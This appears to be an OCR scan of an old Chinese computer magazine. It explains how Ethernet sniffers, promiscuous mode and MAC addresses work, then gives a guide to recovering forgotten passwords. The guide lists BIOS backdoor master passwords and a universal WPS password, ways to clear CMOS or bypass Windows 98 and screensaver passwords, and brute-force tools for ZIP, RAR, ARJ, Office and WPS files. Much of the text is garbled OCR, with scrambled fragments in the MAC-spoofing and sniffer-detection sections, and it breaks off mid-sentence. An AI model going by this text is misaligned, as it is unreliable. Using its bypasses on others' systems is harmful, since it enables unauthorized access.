二 进 制 数 据 。 因 此 , 一 个 网 络 窃 听 程 序 必 须 也 使 用 特

定 的 网 络 协议 来 分 解 嗅 探 到 的 数据 , 嗅 探 器 也 就 必

须 能 够 识别 出 哪个 协议 对 应 于 这 个 数据 片断 , 只 有 这

样 才 能 够 进行 正确 的 解码 。

计算 机 的 嗅 探 器 比 起 电话 窃听 器 , 有 他 独特 的 优

势 : 很 多 的 计算 机 网 络 采 用 的 是 “共享 媒体 ”。 也 就

是 说 , 你 不 必 中 断 他 的 通讯 ,并且 配置 特别 的 线路 ,再

安装 嗅 探 器 , 你 几乎 可 以 在 任何 连接 着 的 网 络 上 直接

窃听 到 你 同一 掩 码 范围 内 的 计算 机 网 络 数据 。 我 们 称

这 种 窃听 方式 为 “基于 混杂 模式 的 嗅 探 ”(promiscuous

mode) 。 尽管 如 此 ,这 种 “共享 ”的 技术 发 展 的 很 快 ,

慢 慢 转向 “交换 ”技术 ,这 种 技术 长 期 内 会 继续 使 用

下 去 , 它 可 以 实现 有 目的 选择 的 收发 数据 。

2., 了 嗅 探 器 是 如 何 工作 的

(I1) 如 何 窃听 网 络 上 的 信息

刚才 说 了 , 以 太 网 的 数据 传输 是 基于 “共享 "原理

的 :所 有 的 同一 本 地 网 范围 内 的 计算 机 共同 接收 到 相

同 的 数据 包 。 这 意味 着 计算 机 直接 的 通讯 都 是 透明 可

见 的 。

正 是 因为 这 样 的 原因 , 以 太 网 卡 都 构造 了 硬件 的

二 SS 徐 汪

PAY

“过 滤器 ”这 个 过 滤器 将 忽略 掉 一 切 和 自己 无 关 的 网

络 信息 。 事 实 上 是 忽略 掉 了 与 自身 MAC 地 址 不 符合

的 信息 。

嗅 探 程序 正 是 利用 了 这 个 特点 , 它 主动 地 关闭 了

这 个 嗅 探 器 , 也 就 是 前 面 提 到 的 设置 网 卡 “ 混 杂

式 "。 因 此 , 嗅 探 程序 就 能 够 接收 到 整个 以 太 网 内 的 网

络 数据 信息 了 。

(2) 什 么 是 以 太 网 的 MAC 地 址

MAC:Media Access Control.

由 于 大 量 的 计算 机 在 以 太 网 内 “共享 "数据 流 , 所

以 必须 有 一 个 统一 的 办 法 用 来 区 分 传递 给 不 同 计算

机 的 数据 流 。 这 种 问题 不 会 发 生 在 拨号 用 户 身上 , 因

为 计算 机 会 假定 一 切 数据 都 由 你 发 送 给 modem, 然后

通过 电话 线 传送 出 去 。 可 是 , 当 你 发 送 数据 到 以 太 网

上 的 时 候 , 你 必须 和 弄 清 楚 , 哪 台 计算 机 是 你 发 送 数据

的 对 象 。 的 确 ,现在 有 大 量 的 双向 通讯 程序 出 现 了 ,看

上 去 , 他 们 好 像 只 会 在 两 台 机 器 内 交换 信息 , 可 是 你

要 明白 ,以 太 网 的 信息 是 共享 的 ,其 他 用 户 ,其 实 一 样

接收 到 了 你 发 送 的 数据 , 只 不 过 是 被 过 滤器 给 忽略 掉

了 。

MAC 地 址 是 由 一 组 6 个 16 进 制 数组 成 的 , 它 存

在 于 每 一 块 以 太 网 卡 中 。 下 文 将 告诉 你 如 何 查看 自己

计算 机 的 MAC 地 址 。

如 果 你 对 网 络 结构 不 太 熟 悉 , 建 议 参考 一 下 OSI

7 -Layer Model, 这 将 有 助 于 你 理解 后 面 的 东西 , 以 太

网 所 使 用 的 协议 主要 是 TCP/ 卫 ,并 且 TCP/ 了 下 也 用 于

其 他 的 网 络 模型 (比如 拨号 用 户 , 他 们 并 不 是 处 于 一

个 以 太 网 环境 中 ) 。 举 例 一 下 ,很 多 的 小 团体 计算 机 用

户 都 为 实现 文件 和 打印 共享 , 安装 了 “NetBEUIT” 因 为

它 不 是 基于 TCP/ 了 下 协议 的 , 所 以 来 自 于 网 络 的 黑客

一 样 无 法 得 知 他 们 的 设备 情况 。

基于 Ravw 协议 ,传输 和 接收 都 在 以 太 网 里 起 着 支

配 作用 。 你 不 能 直接 发 送 一 个 Raw 数据 给 以 太 网 ,你

必须 先 做 一 些 事情 , 让 以 太 网 能 够 理解 你 的 意思 。 这

有 点 类 似 于 邮寄 信件 的 方法 , 你 不 可 能 直接 把 一 封 信

投递 出 去 , 你 必须 先 装 信封 , 写 地 址 , 贴 邮 票 , 网 络 上

的 传输 也 是 这 样 的 。

下 面 给 出 一 个 简单 的 图 示 , 有 助 于 你 理解 数据 传

送 的 原理 :如 图 1。

嗅 探 器

图 1

UserA IP 地 址 ; 10.0.0.23

UserB IP 地 址 ; 192. 168. 100. 54

现在 知道 UserA 要 于 UserB 进行 计算 机 通讯 ,

UserA 需要 为 10. 0. 0. 23 到 192. 168. 100. 54 的 通讯

建立 一 个 瑟 包 ,这 个 耳 包 在 网 络 上 传输 , 它 必 须 能 够

穿 透 路 由 器 。 因 此 ,UserA 必须 首先 提交 这 个 包 给 路

由 器 。 由 每 个 路 由 器 考查 目地 下 地 址 然后 决定 传送

路 径 。

UserA 所 知道 的 只 是 本 地 与 路 由 的 连接 和 UserB

的 瑟 地 址 。UserA 并 不 清楚 网 络 的 结构 情况 和 路 由 走

困 。

UserA 必须 告诉 路 由 预备 发 送 的 数据 包 的 情况 ,

以 太 网 数据 传输 结构 大 概 是 这 样 的 : (图 2)

理解 一 下 这 个 结构 ,UserA 的 计算 机 建立 了 一 个

包 , 假设 它 由 100 个 字 节 的 长 度 (我 们 假设 一 下 ,20

个 字 节 是 正信 息 , 20 个 字 节 是 TCP 信息 , 还 有 60 个

字 节 为 传送 的 数据 )。 现 在 把 这 个 包 发 给 以 太 网 , 放

14 个 字 节 在 目地 MAC 地 址 之 前 , 源 MAC 地 址 , 还 要

置 一 个 0x0800 的 标记 ,他 指示 出 了 TCPZI 栈 后 的 数

据 结构 。 同 时 , 也 附加 了 4 个 字 节 用 于 做 CRC 校 验

(CRC 校 验 用 来 检查 传输 数据 的 正确 性 )。

现在 发 送 数据 到 网 络 。 所 有 在 网 内 的 计算 机 通过

适配器 都 能 够 发 现 这 个 数据 包 , 其 中 也 包括 路 由 适 配

器 , 嗅 探 器 和 其 他 一 些 机 器 。 通 常 , 适 配器 都 具有 一 块

芯片 用 来 做 结构 比较 的 , 检 查 结构 中 的 目地 MAC 地

址 和 自己 的 MAC 地 址 ,如 果 不 相 同 , 则 适配器 会 丢弃

这 个 结构 。 这 个 操作 会 由 硬件 来 完成 ,所 以 ,对 于 计算

机 内 的 程序 来 说 ,整个 过 程 是 毫 无 察觉 的 。

当 路 由 器 的 以 太 网 适配器 发 现 这 个 结构 后 , 它 会

读 取 网 络 信息 , 并 且 去 掉 前 14 个 字 节 , 跟 踪 4 个 字

他。 查找 0x8000 标记 , 然后 对 这 个 结构 进行 处 理 ( 它

将 根据 网 络 状况 推测 出 下 一 个 最 快 路 由 节点 , 从 而 最

快 传送 数据 到 预定 的 目标 地 址 )。

设想 ,只 有 路 由 机 器 能 够 检查 这 个 结构 , 并且 所

有 其 他 的 机 器 都 忽略 这 个 结构 , 则 嗅 探 器 无 论 如 何

也 无 法 检测 到 这 个 结构 的 。

(3) MAC 地 址 的 格式 是 什么 ?

以 太 网 卡 的 MAC 地 址 是 一 组 48 比特 的 数字 , 这

48 比特 分 为 两 个 部 分 组 成 ,前 面 的 24 比特 用 于 表示

以 太 网 卡 的 寄主 , 后面 的 24 比特 是 一 组 序列 号 , 是 由

寄主 进行 支配 的 。 这 样 可 以 担保 没有 任何 两 块 网 卡 的

MAC 地 址 是 相同 的 《当然 可 以 通过 特殊 的 方法 实

现 )。 如 果 出 现 相同 的 地 址 ,将 发 生 问 题 这 一 点 是 非常

重要 的 。 这 24 比特 被 称 之 为 OUI(Organizationally TU-

nique Identifier ) 。

可 是 , 0UI 的 真实 长 度 只 有 22 比特 , 还 有 两 个 比

特 用 于 其 他 : 一 个 比特 用 来 校 验 是 否 是 广播 或 者 多 播

地 址 , 刀 一 个 比特 用 来 分 配 本 地 执行 地 址 (一些 网 络

允许 管理 员 针 对 具体 情况 再 分 配 MAC 地 址 )。

举 个 例子 ,你 的 MAC 地 址 在 网 络 中 表示 为 03 00

00 00 00 01 。 第 一 个 字 节 所 包含 的 值 二 进 制 表示 方法

为 00000011。 可 以 看 到 , 最 后 两 个 比特 都 被 置 为 真

值 。 他 指定 了 一 个 多 播 模 式 , 向 所 有 的 计算 机 进行

播 ,使 用 了 “NetBEUHP 协议 (一 般 地 , 在 Windows 计算

机 的 网 络 中 ,文件 共享 传输 等 是 不 使 用 TCP7 了 协议

的 )。

(4) 我 如 何 得 到 自己 计算 机 的 MAC 地 址 ?

Win9x

JI

2

算 机 和 我 的 MAC

道 有 哪

何 才 能 知

?

(5) 我 如

地 址 直接 关联

nfig ./aljl”

显示 出 你 的 MAC 网 卡 地 址 , 下 面 是 一 个 例

ipco

1

<

arp

以 直接 使 用 “

ix 机 器

对 于 WinNT 和 Un

a “查看 。

过 的 讽

MAC 地 址 四 ?

说 一

ZE

(6) 我 能 够 改

可 以 。 简 单 地

第 一 种 方法

数据 包 结 构 的

数据 包 的 时 候

因为 MAC 地 址 是

的 MAC

9

你 要 做 地 址 欺骗

发 送 一

以 太 网

3

因此

部 分

以 覆

种 方法

YY OD

4

忆 3

1

7

JE

?

定 的 时 |

在 一

很 多 网 卡 允 许

内 部 的 MAC 地 址 。

?》

第 二

录 EEPROM 来

但 是

你 可 以

3

第 三 种 方法

实现 MAC 地 址 的

你 必须 有

种 方

修改 。 这 种 方法 要 求

适用 的

特定 的 硬件 设备 和

, 而 且 这

片 才能 修改

你 的 MAC 地 址 。

1

法 将 永远 地 修

反 嗅 探 寺

?

检测 网 内 是 否 存在 有 嗅 探 程序

嗅 探 程序 检

嗅 探 程序 是 一

E

1. 我 如 何 才

因为

发 的

管 如 此

引 被 检测 出 来 的 ,

是 不 可

动 的 接收 程序

送出 任

理论 上 ,

?

属于 被 动 触

?

种 被

何 数 据

出 来 的 。

何 数据

算 机 上 的 昌

而 不 发

它 只 会 收集 数据 包

嗅 探 程序 有 时

送 任

能 够 被

候 还

世 雪

但 是 当

?

不 会 发

?

一 个 嗅 探 程序

装 在 一 台 正 党

会 产生

寺 候

行 反 相 序列 查找

检 毅

局 域 网 内 的

简单 的

能 发 出 一 个 请 求 , 使 DNS

一 些 数据 流 。 举 例子 ,

根据 卫 地 址 进

O 〇

| 方

下 面 一 种

方法

很 多 的 嗅 探 器 程序 , 如 果 4

PlnS

发 送 一 个 请 求 给 某 台

有 了 嗅 探 程序 的 机 器 , 它 将 作出 应 答 。

(1) 怀疑 瑟 地 址 为 10. 0.0. 1 的 机 器 装 有 嗅 探 程

的 MAC 地 址 确定 为 00-40 -05-A4-79-

(2) 确 保 机 器 是 在 这 个 局 域 网 中 间 。

现在 修改 MAC 地 址 为 00 -40-05-A4-

(3)

在 日 常 的 计算 机 应 用 中 ,我 们 随时 随地 都 离 不 开

密码 一 一 开机 要 使 用 CMOS 密码 , 进 Windows 98 要 使

用 用 户 密码 , 编 辑 Word 文档 要 设置 文档 密码 …… 所

有 这 些 都 为 用 户 的 数据 安全 提供 了 必要 的 安全 保

摩 ! 不 过 随 着 密码 应 用 范围 的 增加 , 遗忘 密码 的 情况

也 屡见不鲜 ! 在 忘记 密码 之 后 又 该 怎么 办 呢 ? 如 何 破

解 这 些 密码 , 尽 可 能 减少 损失 就 成 为 我 们 所 关注 的 一

个 话题 。 为 方便 读者 , 现 将 一 些 常用 计算 机 密码 的 解

密 方 法 向 大 家 作 一 简要 介绍 。

一 开机 密码

由 于 各 人 的 爱好 不 同 , 计 算 机 的 设置 也 不 一 样 ,

而 开机 密码 通常 按 设置 下 列 两 种 情况 : 一 种 是 SETUP

密码 , 这 种 情况 下 , 系统 可 以 直接 启动 ,而 仅仅 是 在 进

人 BIOS 设置 时 要 求 输 入 密码 ; 另 一 种 则 是 SYSTEM

密码 , 此 时 , 无 论 你 是 直接 启动 计算 机 还 是 进行 BIOS

设置 ,都 要 求 您 输入 密码 。 这 两 种 情况 ,我 们 可 以 通过

不 同 的 方法 进行 破解 。

1.SETUP 密码

这 种 情况 下 , 您 的 计算 机 能 正常 引导 ,只 是 不 能

进入 BIOS 设置 ,我 们 在 遗忘 密码 之 后 该 怎么 办 呢 ? 先

试 试 下 面 的 万 能 密码

589589

了 LT

SKY-FOX BIOSTAR

上 东 wpeter ]j2536 AWARD-SW

LKEWPETER aLLy S$89721

你 也 可 以 在 DOS 状态 下 启动 DEBUG, 然 后 输入

如 下 命令 即 可 手工 清除 密码 (图 1):

如 果 您 不 熟悉 DEBUG , 没关系 , 用 一 个 专门 破解

AWARD -SW

ALFAROME

图 1

CMOS 密码 的 工具 软件 即 可 。 我 们 在 配套 光盘 中 给 大

家 提供 了 几 个 , 有 Windows 和 DOS 版 的 , 你 可 以 选择

自己 喜欢 的 , 操作 都 非常 简单 。 下 面 我 就 向 大 家 介绍

一 个 Windows 下 的 小 工具 。

BiosPwds 1. 2 一 一 一 个 既 简 单 又 好 用 的 CMOS 密

码 破 解 工 具 。 首 先 将 压缩 包 解 开 , 双 击 BiosPwds 执行

文件 , 接着 只 要 点 击 “获取 密码 ”就 一 切 OK 了 。 怎 么

样 ,容易 吧 ? BiosPwds 不 仅 能 获取 CMOS 密码 ,还 能 读

取 BIOS 版 本 ,BIOS 日 期 以 及 安全 选项 等 。( 图 2)

图 2

也 有 For DOS 的 破解 工具 一 一 CMOSPWD, 它 可

以 显示 出 Acer、AMI、AWARD COMPAQ DELL、IBM、

PACKARD BELL PHOENIX、ZENITH AMI 等 等 多 种 版

本 BIOS 里 的 密码 (图 8-3)。

RE

2. SYSTEM 密码

这 种 情况 下 你 如 果 忘 记 密 码 , 就 根本 不 能 启动 计

算 机 , 我 们 也 就 无 法 通过 软件 来 解决 密码 遗忘 的 问题

了 。 还 是 有 办 法 的 , 不 过 要 您 打开 机 箱 , 给 CMOS 放

电 ,清除 CMOS 中 的 所 有 内 容 , 密 码 当然 就 消失 了 , 然

后 开机 重新 进行 设置 ,记得 这 次 要 记 住 。 当 然 , 此 法 对

上 一 种 情况 也 能 用 的 ,只 要 您 不 嫌 麻 烦 。 呵 呵 ,简直 是

废话 。

一 e@ 人 了

一 、Windqdows 答 合

1. Windqows 启动 密码

如 果 遗 忘 了 Windows 98 的 启动 密码 , 昌 然 你 可

以 照常 使 用 计算 机 , 但 你 的 个 性 化 设置 可 就 委 了 。 哈

哈 , 想 不 想 找 回 它 ?说 废话 了 。 您 可 删除 Windows 安装

目录 下 的 x.PWL 密码 文件 (图 4) 及 Profiles 子 目 录

WINDOWS

NE SITYERIE

3

RCR

下 的 所 有 个 人 信息 文件 , 然 后 重新 启动 Windows 98,

系统 就 会 弹出 一 个 不 包含 任何 用 户 名 的 密码 设置 框 ,

我 们 无 需 输 入 任何 内 容 , 直接 单 击 “ 确 定 " 按钮 ,Win-

dows 98 密码 即 被 删除 。 还 有 一 法 , 只 要 将 注册 表

HKEY_ LOCAL MACHINE、Network、Logon 分 支 下 的

UserProfiles 修改 为 “0”( 图 $) ,然后 重新 启动 双 indows

98 即 可 。 不 过 ,在 修改 注册 表 以 前 ;最 好 先 将 其 备份 ,

以 防 万 一 。

1 划 这 沦

宗 - 国 Config 祭 设 置 灼 值 )

| Driver 00 00 00 00

市 多 Enm 十 芭 拉 gustBayalidated 0z00000000 ()

而 莹 1 Hardvare 名 ]PrinaryProvider “Bicrosoft 了 etwork”

启 合 Wetyork “ShailyChen”

| - 仿 Locon

出 冶 Sacurity

2. 屏幕 保护 密码

利用 系统 的 屏幕 保护 功能 可 以 防止 其 他 人 偷 用

自己 的 计算 机 , 从 而 起 到 保护 数据 安全 的 作用 。 不 过

在 不 配合 其 他 限制 功能 的 情况 下 , 系统 的 屏幕 保护 窗

码 是 非常 脆弱 的 。 在 不 知道 密码 的 情况 下 ,只 要 Reset

一 下 , 重新 启动 计算 机 , 然后 在 桌面 空白 处 单 击 鼠 标

右键 , 从 弹出 菜单 中 执行 “属性 ” 命令 , 打开 “显示 属

性 "设置 框 , 单 击 * 屏 幕 保护 "选项 卡 ,取消 “密码 保护 ”

复 选 框 选项 即 可 (图 6)。 如 果 您 只 是 忘记 屏保 程序 的

密码 , 那 可 不 一 定 要 取消 或 重 设 ,运行 一 些 破解 的 小

程序 ,马上 一 目 了 然 。

3. 电源 管理 密码

Windows98 的 电源 管理 功能 也 可 以 设置 密码 , 设

的 计

流 本 下 天 这 处

TO

于 表

置 此 功能 后 , 系统 从 节能 状态 返回 时 就 会 要 求 输入 密

码 , 从 而 在 一 定 程度 上 实现 保护 系统 的 目的 。 不 过 ,由

于 电源 管理 功能 的 密码 与 允 indows 98 的 司 动 密码 完

全 一 样 , 因 此 我 们 只 要 按照 前 面 的 方法 破解 了 Win-

dows 98 的 启动 密码 , 其 电源 管理 密码 也 就 不 攻 自 破

了 。 (图 7)

从 前 面 的 介绍 中 可 以 看 出 ,Windows 98 的 密码 保

护 功能 并 不 完善 , 无 论 是 开机 密码 还 是 屏幕 保护 、 电

源 管 理 密码 都 非常 脆弱 , 我 们 必须 辅 之 以 其 他 控制 措

施 才能 达到 防止 他 人 人 侵 的 目的 。

三 .压缩 文件 密码

1。WinZip

当 用 户 遗 悉 Zip 压缩 包 的 密码 之 后 ,可 以 用 一 个

专门 破解 Zip 压缩 包 密 码 的 解密 软件 UZPC (Ultra Zip

Password Cracker) , 利 用 它 帮 我 们 找 回 扫 失 的 密码 。

UZPC 的 界面 如 图 8 所 示 , 我 们 只 需 执行 “Task ”任务

菜单 的 "New ”新 建 命令 , 并 从 弹出 的 “打开 ”对 话 框 中

选择 需要 破解 密码 的 Zip 文件 ,UZPC 就 会 打开 一 个

“Preferences” 参 数 对 话 框 (图 9)。 用 户 应 从 “Archive

Files” 文 档 列表 框 中 选择 对 Zip 压缩 包 中 哪儿 个 文件

图 9

进行 解密 (WinZip 具有 为 同一 个 Zip 压缩 包 中 的 不 同

文件 设置 不 同 密码 的 功能 , 不 过 绝 大 多 数 Zip 压缩 包

都 没有 使 用 这 一 功能 , 它们 通常 为 所 有 的 文件 都 设置

了 相同 的 密码 , 因 而 常见 的 Zip 密码 破解 软件 都 只 能

处 理 此 类 相同 密码 的 Zip 文档 , 它们 往往 对 同时 包含

多 个 密码 的 Zip 压缩 包 无 效 。UZPC 则 有 所 不 同 , 它 可

分 别 对 Zip 压缩 包 中 不 同文 件 的 密码 单独 进行 解密 ,

从 而 更 好 地 满足 了 广大 用 户 的 要 求 。 "Archive Files”

文档 列表 框 就 是 用 于 选择 同一 个 Zip 压缩 包 中 包含

不 同 密码 的 文件 的 )。 接 下 来 ,我 们 应 选择 适当 的 解

密 方 式 ( 主 要 有 “Brute Force” 穷 举 方式 “Dictionary -

based” 字 典 方式 “Template” 后门 方 式 和 “Plaintext” 模

式 匹配 方式 等 4 种 , 我 们 一 般 采 用 “Brute Force” 穷 举

方式 )。 设 置 完 毕 之 后 单 击 “Next" 下 一 步 按 钮 ,系统 就

会 弹出 一 个 “Brute Force Attack Parameter” 穷 举 攻 击 参

数 对 话 框 (图 10), 要 求 用 户 对 破解 密码 的 参数 (如 是

图 10

和 否 包 括 大 小 写字 母 ,是否 包 括 数字 空格、 符号 或 包括

所 有 内 容 , 密 码 的 长 度 等 ) 进 行 设置 。 最 后 单 击 “Go" 开

台 按 钮 , 系统 就 采用 穷尽 法 对 所 有 可 能 的 密码 组 合 进

行 测试 , 直 至 找 出 最 后 的 结果 , 使 用 非常 方便 〈 图

11)。 另 外 需要 说 明 的 , 若 密码 的 位 数 较 长 ,UZPC 的 测

E:\Downloadspicture.zip

玫 11

试 过 程 可 能 会 花费 较 长 的 时 间 。 为 方便 用 户 的 使 用 ,

UZPC 特意 提供 了 临时 中 断 运行 和 从 中 断 处 继续 进行

测试 的 功能 , 我 们 只 需 在 测试 过 程 中 利用 “Save” 保存

按钮 将 当前 的 破解 状态 记录 下 来 , 然后 就 可 以 放心 大

胆 地 中 断 正在 进行 的 测试 而 不 必 担心 数据 丢失 了 。 此

后 , 我 们 只 需 在 UZPC 中 单 击 “0pen” 打开 按钮 , 打开

上 次 所 作 记 录 ,UZPC 即 会 从 中 断 处 继续 进行 查找 ,从

而 节约 了 用 户 的 时 间 。( 图 12)

图 12

另外 , 还 有 一 个 很 方便 的 Zip “文件 密码 破解 工

具 一 -一 Zip Key。 我 们 可 以 到 http: //www。 lostpass-

word. com 下 载 一 个 双 zipkeyd(Password recovery for

WinZip)。 它 同样 能 帮助 你 恢复 加 密 的 Zip 文件 ,支持

WinZip、PKZip 所 有 版 本 和 其 他 的 ZIP 压缩 软件 所 压

缩 的 Zip 压缩 文件 。 使 用 上 也 相当 简单 , 几 个 步骤 即

可 完成 密码 恢复 。 只 要 执行 WinZip Key, 再 将 Zip 压缩

文件 拖 到 双 inZip Key 的 视窗 上 即 可 将 密码 恢复 。 也

有 上 自 定 最 小 与 最 大 密码 长 度数 字 \ 字 母 、 符 号 组 合成

字符 串 搜索 密码 的 功能 。( 图 13)

图 13

2. AR

当 ARJ 压缩 包 的 密码 遗忘 之 后 ,我 们 可 用 一 个 专

业 的 ARJ 压缩 包 密 码 破 解 软 件 AAPR(Advanced ARJ

Password Recovery) ,利用 它 找 出 ARJ 压缩 包 的 密码 。

AAPR 的 界面 , 如 图 14 所 示 , 我 们 只 需 从 “ARJ Pass-

word - encrypted File” 加 密 AHRJ 文档 对 话 框 中 选择 需

要 破解 的 ARJ 压缩 包 , 并 在 “Brute - Force Range 0p-

tions” 穷 举 范 围 选项 对 话 框 中 选择 密码 的 范围 (同样

是 设置 是 否 包 括 大 小 写字 母 ,是 否 包括 数字 空格、 符

号 或 包括 所 有 字符 等 内 容 )。 最 后 单 击 “Start” 开始 按

钮 ,系统 就 采用 穷 举 法 对 所 有 可 能 的 密码 组 合 进行 测

试 ,找到 密码 之 后 再 将 其 显示 出 来 ,使 用 非常 方便 !

2000-01-01 1233:43 - AAPR vetsion 2.00 build 172 launched. unregistered version ,

二 半 some Jeatures disabled

浊 2000-01-01 1233:47 - Loading language file for 薪 休 中文:

3. 民 A 耻

RAR 也 是 一 个 非常 流行 的 压缩 软件 , 用 户 在 遗

RS

忘 RAR 压缩 包 的 密码 之 后 可 到 http://

www. ssl. stu. neva. ru/ 下载 一 个 CRARK 软件 来 对 其

进行 破解 。 这 是 一 个 命令 行 实用 程序 , 它 主 要 通过 命

令 行 来 实现 对 RAR 压缩 包 的 密码 进行 破解 。 其 命令

格式 为 : “CRARK 命令 行 参 数 RAR 压缩 包 文件 名 ”。

不 过 , 事 实 上 我 们 一 般 只 需 直 接 使 用 “CRARK RAR

压缩 包 文 件 名 ”命令 , 利用 缺 省 参数 即 可 达到 对 RAR

压缩 包 的 密码 进行 破解 的 目的 。

附 :CRARK 有 关 命 令 行 参数 的 含义 :

- 工 指定 最 小 密码 长 度 ;

-g 指定 最 大 密码 长 度 ;

-s 使 用 用 户 自己 的 设置 ;

-d 设置 主要 词典 的 文件 名 ;

-ua 设置 用 户 词典 的 文件 名 ;

-p 设置 密码 进度 文件 名 。

四 文字 处 理 软件 密码

1 了 PS

1) 双 PS for DOS

老 版 本 的 WPS 有 一 个 通用 密码 Ci -QIUBO-

JUN ,我 们 只 需 采 用 此 密码 即 可 打开 所 有 加 密 文 档 , 然

后 再 将 文档 中 的 内 容 采用 块 拷贝 方式 拷贝 到 其 他 文

档 中 即 可 解决 问题 (采用 通用 密码 打开 文档 时 所 作 的

修改 不 能 存盘 )。

2) WPS 2000

大 家 都 知道 ,WPS 2000 采用 了 两 种 不 同 级 别 的

文档 加 密 方 式 , 即 “ 普 通 型 加 密 " 和 "绝密 型 加 密 ”。 它

在 说 明 书 中 谈 到 , 当 用 户 遗 忘 文档 密码 之 后 , 独 文档

采用 的 是 “普通 型 加 密 ? 方 式 , 则 可 向 金山 公司 的 技术

人 员 求 救 , 由 他 们 帮 你 找 出 遗忘 的 密码 ; 若 文档 采用

的 是 “绝密 型 加 密 ” 方 式 , 密 码 遗 忘 之 后 根本 无 法 解 _

密 , 不 过 事实 却 并 非 如 此 。 我 们 无 论 是 遗忘 了 “普通

型 ”密码 还 是 “绝密 型 ”密码 , 都 可 以 到 http: //

cyg. yeah. net/ 下 载 一 个 名 为 EWPR(Edqward 双 ps

Password Recovery) 的 软件 对 遗忘 的 密码 进行 破解 。 这

是 一 个 国人 自己 编辑 的 密码 破解 软件 , 它 提供 了 “后

门 方式 ”“ 穷 举 方式 ”“ 字 典 方式 ”和 "模式 匹配 方式 ”

等 4 种 解密 方式 (对 一 般 用 户 来 说 , 最 有 使 用 价值 的

还 是 “ 穷 举 方式 ”) ,可 同时 对 采用 "普通 型 加 密 ” 和 " 绝

密 型 加 密 ” 的 文档 进行 解密 (操作 方式 完全 一 样 )。

具体 来 说 , 我 们 在 使 用 EWPR 对 叉 PS 2000 文档

的 密码 进行 破解 时 ,首先 应 在 “Enerypt 双 PS 2000 fie”

对 话 框 中 指定 所 需 的 WPS 2000 文档 , 并 在 “Type of

Attack” 列 表 框 中 选择 适当 的 密码 破解 方式 (一 般 应 选

择 “brute - force” 穷 举 方式 ) 。 接 下 来 ,应 根据 具体 情况

在 “Brute - Force Range Options” 列 表 框 中 选择 可 能 包

含 的 密码 范围 ,并 在 “Start From” 对 话 框 中 指定 开始 进

行 查找 的 字符 〈 主 要 用 于 从 上 次 中 断 处 继续 进行 破

解 )。 设 置 完 这 些 选 项 之 后 , 我 们 只 需 单 击 “RUN ” 按

钮 ,EWPR 就 会 采用 穷尽 法 对 WPS 2000 文档 的 密码

进行 破解 , 使 用 非常 方便 (在 运行 过 程 中 ,我 们 可 以 通

过 “Pause” 和 “Resume” 按 钮 暂时 中 断 运 行 以 及 从 中 断

处 继续 运行 )。

2. DO 俐 ce

WPS 2000 的 密码 保护 功能 并 不 安全 ,那么 微软

的 Office 又 怎样 呢 ? 其 实 微软 的 安全 性 亦 不 能 信赖

(Windows 98、 焉 等 软件 的 安全 性 问题 就 是 典型 教

材 ) 。 破 解 Ofice 系列 文档 的 密码 的 软件 多 如 牛 毛 ,本

人 最 常用 的 是 AOPR( 全 称 为 Advanced 0 好 ce 97

下 载 网 址 为 http://

www-. elcomsoft. comv ) 。 该 软件 可 同时 对 微软 0 苔 ce 系

列 中 的 双 ord、Excel 及 Access 等 软件 所 生成 的 密码 进

行 破解 , 这 就 免 去 了 用 户 逐 一 下 载 、 使 用 各 个 单独 密

码 破 解 软 件 的 苦恼 。 另 外 ,AOPR 可 对 Word 的 .DOT

模板 文件 的 密码 进行 搜索 , 这 是 其 他 类 似 软 件 所 不 有 共

备 的 。 必 须 说 明 的 是 , AOPR 是 针对 Offce 97 开发 的

(推出 AOPR 时 ,Office 2000 还 未 问世 ), 不 过 Office

2000 文档 的 格式 与 0ffice 97 文档 的 格式 基本 上 没有

什么 区 别 , 因此 我 们 同样 可 使 用 AOPR 对 Office 2000

文档 的 密码 进行 破解 。 启动 AOPR 之 后 (图 15) , 我

们 只 需 从 “Encrypted 0ffice 97 Document” 对 话 杠 中 选

RS 村 要

Password “Recovery,

1 计

斗 2000.01-01 1445.28 -AD97PR 1. 习 Bunched umegkterted Yeftion Some features dirabled

站 2000.01.01 14.45.28 - MMXCcompakible Pocesiot detected

图 15

择 遗 忘 密 码 的 Office 文档 , 并 在 “Brute -Force Range

Options "对话 框 中 选择 密码 的 范围 ,然后 再 在 “Type of

Attack "列表 框 中 选择 适当 的 密码 破解 方式 (当然 与 前

面 一 样 选 择 “Brute - Force” 穷 举 方式 ), 最 后 单 击

“Start "按钮 , 系统 就 会 采用 穷尽 法 对 所 有 可 能 的 密码

组 合 进行 测试 , 找到 密码 后 再 将 其 显示 出 来 (不 同 软

件 的 使 用 方法 好 像 都 差不多 )。 怎 么 样 ,效果 不 错 吧 ?

3. Lotus Word Pro

国内 使 用 莲花 公司 (IBM 子 公 司 ) 的 Lotus Word

Pro 的 用 户 可 能 并 不 太 多 , 不 过 该 软件 的 功能 与 微软

的 Word 相 比 训 不 逊色 (在 某 些 方面 还 要 更 先进 一

些 ) ,在 国外 的 应 用 范围 非常 广泛 (国内 不 少 用 户 经 常

会 收 到 采用 Lotus Word Pro 格式 的 邮件 ) ,国内 的 多 数

中 外 合资 企业 也 是 使 用 Lotus 双 ord Pro 进行 日 常 的 文

. 字 处 理 , 因此 这 里 一 并 将 Lotus Word Proe 密码 破解 的

方法 向 大 家 作 一 个 介绍 。 当 用 户 遗 忘 Lotus Word Pro

密码 之 后 , 我 们 可 以 到 http: / /www. lostpassword. com

下 载 一 个 双 prokeyd(Password recovery for Lotus 双 ord

Pro) 对 其 进行 破解 。 Wprokeyd 是 一 个 专门 用 于 破解

Lotus Word Pro 文档 密码 的 应 用 程序 , 我 们 在 启动 该

程序 (图 16) 之 后 ,首先 应 单 击 “Settings” 设 置 按钮 , 打

开 “Brmute - Force Settings” 对 话 框 ,对 双 prokeyd 的 破解

状态 进行 设置 (主要 是 在 “Password Character Set” 列 表

框 中 选择 密码 的 范围 ) 设置 完 毕 之 后 ,我 们 只 需 将 遗

忘 密码 的 Lotus Word Pro 文档 (*.LWP 文件 ) 拖 搜 到

Wprokeyd 窗口 中 , 双 prokeyd 即 会 根据 用 户 指定 的 范

围 , 采用 穷尽 法 对 所 有 可 能 的 密码 一 一 进行 测试 , 直

到 找到 密码 为 止 。

图 16

五 ICQ 密码

ICQ 是 目前 最 流行 的 网 络 寻 呼 软件 ,许多 人 在 上

网 时 都 离 不 开 这 惹 人 喜爱 的 “小 东 东 ”。 在 使 用 ICQ 的

过 程 中 , 我 们 必须 输入 自己 的 个 人 密码 , 用 户 若 将 密

码 遗 筷 了 就 意味 着 以 前 所 有 的 传呼 号 码 及 谈话 记录

全 部 丢失 ,这 是 绝对 不 能 令 人 接受 的 ! 别 着 急 ,ICQ 密

